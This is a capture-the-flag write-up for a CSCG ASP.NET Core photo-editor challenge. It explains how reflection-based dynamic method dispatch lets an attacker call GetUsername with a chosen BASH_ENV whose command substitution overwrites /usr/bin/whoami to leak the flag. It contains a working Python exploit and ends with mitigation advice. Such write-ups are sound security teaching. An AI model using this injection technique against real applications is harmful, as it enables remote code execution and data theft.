📃 Challenge Description

Recently I learned ASP .NET Core and boy, it’s so magic! Dependency injection, dynamic routing, interfaces everywhere. But: For me, it wasn’t dynamic enough. So I extended the framework and now I got all the dynamic in the world I could wish for.

That surely didn’t introduce any vulnerabilities, right?

🔎 Research

We are given a Dockerfile and a folder containig a dotnet web app. The Dockerfile stores the flag in an environment variable called FLAG, copies it to the file /App/flag, and then invokes the dotnet runtime. Let’s build and run the docker container with the following commands:

docker build -t photoeditor .
docker run -p1024:1024 --rm -d photoeditor

This presents us with a beautiful web app, where we can upload an image and perform certain operations on it, such as cropping, inverting colors, rotating, etc.:

Untitled

So far so good. Let’s look at the source code. Upon further inspection, we can notice that the webapp uses the Model-View-Controller architecture. Thereby, models are responsible for data storage and to some extent also business logic, views are responsible for representing models to the user through html, and the template based cshtml, and controllers are the interface between models and views. In controllers, the actual HTTP handlers are defined.

In the following sections we will take a closer look to classes that are interesting to us.

BaseApiController

public class BaseAPIController : ControllerBase {
  public String GetUsername(Dictionary<String,String> env) {
    Process process = new Process();
    process.StartInfo.FileName = "bash";
    process.StartInfo.Arguments = "-c 'whoami'"; 
        
    foreach (var kv in env) {
      process.StartInfo.EnvironmentVariables[kv.Key] = kv.Value;
    }
        
    process.StartInfo.UseShellExecute = false;
    process.StartInfo.RedirectStandardOutput = true;
    process.StartInfo.RedirectStandardError = true;
    process.Start();
    string output = process.StandardOutput.ReadToEnd();
    Console.WriteLine(output);
    string err = process.StandardError.ReadToEnd();
    Console.WriteLine(err);
    process.WaitForExit();

    return output + err;
  }
}

BaseApiController is the baseclass for all further ApiControllers. It provides a function GetUsername to get the user the webapp is running as. This function uses the whoami command inside a spawned shell to get the information. We can pass a Dictionary of additional environment variables.

ApiController

[ApiController]
[Route("api/[controller]")]
public class HealthController : BaseAPIController {
  // [...]

  [HttpGet]
  [Route("User")]
  public IActionResult GetUser() {
    var username = GetUsername(new Dictionary<String,String> { { "PATH", "/usr/bin/" } });
    return Content(String.Format("{{'Username':'{0}'}}", username));
  }
}

HealthController inherits from BaseApiController. Among other functions, the HTTP handler GetUser uses the base function GetUsername and returns the result as a json response.

DynamicPhotoEditorController

[ApiController]
[Route("api/[controller]")]
public class DynamicPhotoEditorController : BaseAPIController {
	// [...]

  [HttpPost]
  [Route("EditImage")]
  public IActionResult EditImage([FromBody]PhotoTransferRequestModel photoTransferRequestModel) {
    try {
      this._cachedImage = Image.Load(Convert.FromBase64String(photoTransferRequestModel.Base64Blob));
      _logger.LogTrace(0, "Loaded Image: {0}", this._cachedImage);

      var actionMethod = this.GetType().GetMethod(photoTransferRequestModel.DynamicAction);
      if (actionMethod == null) {
        throw new Exception("Unable to find dynamic action: " + photoTransferRequestModel.DynamicAction);
      }

      var editParams = (object[])JsonConvert.DeserializeObject<object[]>(photoTransferRequestModel.Parameters);
      if (photoTransferRequestModel.Types != null) {
        for (int i = 0; i < photoTransferRequestModel.Types.Length; i++) {
          editParams[i] = JsonConvert.DeserializeObject(JsonConvert.SerializeObject(editParams[i]),GetTypeByName(photoTransferRequestModel.Types[i]));
        }
      }

      _logger.LogWarning(0, "Params: {0} Raw: {1}", editParams, photoTransferRequestModel.Parameters);

      var transformedImage = (Image)actionMethod.Invoke(this, editParams);      
      var imageAsBase64 = ImageToBase64(transformedImage);
      var retValue = new PhotoTransferResponseModel();    
      retValue.Base64Blob = imageAsBase64;
      return Ok(retValue);
    } catch (Exception e) {
      var retValue = new PhotoTransferResponseModel();    
      retValue.Error = e.Message;
      return StatusCode(StatusCodes.Status500InternalServerError, retValue);
    }
  }
  
  // [...] 
  
  public Image GrayscaleImage(double amount) {
    this._cachedImage.Mutate(m => m.Grayscale((float)amount));
    return this._cachedImage;
  }

  public Image BlackWhiteImage() {
    this._cachedImage.Mutate(m => m.BlackWhite());
    return this._cachedImage;
  }

  public Image RotateImage(double degrees) {
    this._cachedImage.Mutate(m => m.Rotate((float)degrees));
    return this._cachedImage;
  }

  public Image InvertImage() {
    this._cachedImage.Mutate(m => m.Invert());
    return this._cachedImage;
  }

  public Image CropImage(RectangleStruct rect) {
    this._cachedImage.Mutate(m => m.Crop(new Rectangle(rect.X, rect.Y, rect.W, rect.H)));
    return this._cachedImage;
  } 
  
}
public class PhotoTransferRequestModel
{
    public string Base64Blob { get; set; }
    public string DynamicAction { get; set; }
    public string Parameters { get; set; }
    public string[]? Types { get; set; }
}

DynamicPhotoEditorController also inherits from BaseApiController. This is exactly where “all the dynamics” happens. The HTTP handler EditImage takes a PhotoTransferRequestModel object from the request body and edits the image according to the request. The PhotoTransferRequestModel serves as a dynamic description of which operation to apply to an image with what parameters. The operations are implemented in own functions with the same name as the operation name. EditImage then calls the specific operation handler using the Invoke Method.

We can see the EditImage handler being used inside the web app, where a click to the operation buttons trigger a JS Function editImage, which then calls back to the backend and triggers the EditImage handler. Here is a snippet of the onclick listeners for the operation buttons:

<a href="#" class="btn btn-secondary" onclick="editImage('GrayscaleImage', [0.5])">Grayscale</a>
<a href="#" class="btn btn-secondary" onclick="editImage('BlackWhiteImage', [])">Black and White</a>
<a href="#" class="btn btn-secondary" onclick="editImage('InvertImage', [])">Invert Colors</a>
<a href="#" class="btn btn-secondary" onclick="editImage('RotateImage', [90])">Rotate 90 Degrees Clockwise</a>
<a href="#" class="btn btn-secondary" onclick="editImage('CropImage', [{'X':0,'Y':0,'W':20,'H':20}], ['PhotoEditor.Models.RectangleStruct'])">Crop 20x20</a>

📝 Vulnerability Description

As the DynamicPhotoEditorController just invokes the function with the same name as the DynamicAction parameter, we can craft our own PhotoTransferRequestModel and invoke any method on the DynamicPhotoEditorController object and its baseclass BaseAPIController with any number and types of arguments through it.

🧠 Exploit Development

Let’s think about what functions we could call, to leak the flag. The only interesting target is the BaseApiController.GetUsername function, as it spawns a shell. However, we can only pass the environment variables as a parameter. This in of itself feels very wrong. Why would the BaseApiController.GetUsername function want its callers to specify the environment variables, for only invoking whoami? It could very easily just use its own private set of environment variables, for example the environment variable PATH=/usr/bin/. This way, HealthController.GetUser hasn’t have to pass PATH=/usr/bin/ itself to BaseApiController.GetUsername.

So, I went on and searched the bash manpage for suitable environment variables that would lead to leaking the flag.

Introducing BASH_ENV!

Say hello to BASH_ENV, your new friend for gaining code execution through environment variables. The bash manpage describes it as follows:

If this parameter is set when bash is executing a shell script, its value is interpreted as a filename containing commands to initialize the shell, as in ~/.bashrc. The value of BASH_ENV is subjected to parameter expansion, command substitution, and arithmetic expansion before being interpreted as a file name. PATH is not used to search for the resultant file name.

The command substitution part sounds very interesting. Let’s look it up as well:

Command substitution allows the output of a command to replace the command name. There are two forms:$(command)or***command***. Bash performs the expansion by executing command and replacing the command substitution with the standard output of the command, with any trailing newlines deleted. Embedded newlines are not deleted, but they may be removed during word splitting. The command substitution $(cat file**)** can be replaced by the equivalent but faster $(< file**)**.

So, whenever bash is started, it will read the BASH_ENV envvar, perform parameter expansion, command substitution, and arithmetic expansion and treats the result as a filename from which to read commands to execute. Chained with the command substitution, we can execute arbitrary commands on bash startup.

With a value of BASH_ENV=$(echo -e '#!/usr/bin/env bash\nprintenv FLAG' > /usr/bin/whoami) we can replace the whoami program with a bash script that will print out the flag from the environment variables.

🔐 Exploit Program

import requests

# url = "http://localhost:1024"
url = "https://3f568df6278c97fd7e3a6204-1024-photoeditor.challenge.cscg.live:1337"

data = {
    # very small valid png
    "Base64Blob": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQMAAAAl21bKAAAAA1BMVEUAAACnej3aAAAAAXRSTlMAQObYZgAAAApJREFUCNdjYAAAAAIAAeIhvDMAAAAASUVORK5CYII=",
    "DynamicAction": "GetUsername",
    "Parameters": "[{\"PATH\": \"/usr/bin\", \"BASH_ENV\": \"$(echo -e '#!/usr/bin/env bash\nprintenv FLAG' > /usr/bin/whoami)\"}]",
    "Types": [
        "System.Collections.Generic.Dictionary`2[System.String,System.String]"
    ]
}
requests.post(url+"/api/DynamicPhotoEditor/EditImage", json=data)

r = requests.get(url+"/api/Health/User")
print(r.text)

💥 Run Exploit

Untitled

FLAG: CSCG{AppSec_Chall3nge_disguised_as_W3b_sorry:)}

🛡️ Possible Prevention

One obvious mitigation would be to disallow user-controlled environment variables. However, a more general solution is to do the things with as little overhead as possible. Spawning a completely new shell just to execute whoami is clearly overkill. Better would be to either execute the whoami program directly in a subprocess, or even use directly provided APIs for getting the current user without executing a new program.

Obviously, the root cause of the compromise was the arbitrary function call primitive. Dynamics are cool, but only to some extent. When you want all the dynamics you can wish for, you can as well just host a RCE-as-a-service API. Finding the right degree of dynamics is sometimes hard, but it in this case, the operations on images are limited and not likely to explode in quantity anytime soon. A simple operation to handler function map could also do the trick, without having to lose readability to many if-statements.

🗃️ Further References

bash(1): GNU Bourne-Again Shell - Linux man page